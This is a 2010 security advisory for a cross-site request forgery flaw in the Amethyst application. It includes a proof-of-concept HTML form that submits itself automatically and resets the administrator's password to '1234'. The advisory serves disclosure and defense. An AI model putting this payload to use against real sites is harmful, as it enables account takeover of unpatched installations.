XSRF (CSRF) in Amethyst

2010-08-08T00:00:00
ID SECURITYVULNS:DOC:24404
Type securityvulns
Reporter Securityvulns
Modified 2010-08-08T00:00:00

Description

Vulnerability ID: HTB22500 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_amethyst.html Product: Amethyst Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/amethyst ) Vulnerable Version: 0.1.5 and Probably Prior Versions Vendor Notification: 22 July 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Fixed by Vendor Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: The vulnerability exists due to failure in the user updating script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/update_user/1" method="post" name="main" > <input type="hidden" name="user[username]" value="admin" /> <input type="hidden" name="user[first_name]" value="First Name" /> <input type="hidden" name="user[last_name]" value="Last Name" /> <input type="hidden" name="user[password]" value="1234" /> <input type="hidden" name="user[password_confirmation]" value="1234" /> <input type="hidden" name="commit" value="Update" /> </form> <script> document.main.submit(); </script>

Solution: Upgrade to the most recent version